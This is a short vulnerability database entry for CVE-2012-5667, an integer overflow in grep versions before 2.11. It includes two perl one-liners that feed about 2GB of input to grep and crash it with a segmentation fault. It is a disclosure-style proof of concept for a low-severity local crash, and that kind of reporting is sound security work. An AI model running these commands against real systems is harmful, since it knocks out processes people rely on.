Grep < 2.11 Integer Overflow Crash PoC

ID SSV:77529
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.

                                                Grep <2.11 is vulnerable to int overflow exploitation.

Although it is patched in the recent Grep,
This update has not been pushed to the Ubuntu repos, or the Redhat
repos, leaving 99% of those OS's(and more) vulnerable.

There are also many other ways to do this bug.

It is low severity because it would be extremely hard to actually
exploit it, and it is a local exploit, and it is not run by root.

Found By: Security Researcher - Joshua Rogers


#There are many ways of doing this.

#Method one:
$ perl -e 'print "x"x(2**31)' | grep x > /dev/null
Segmentation fault (core dumped)

#Method two:
$ perl -e 'print "\nx"x(2**31)' | grep -c x > /dev/null


CVE: CVE-2012-5667
*Joshua Rogers* - Retro Game Collector && IT Security Specialist
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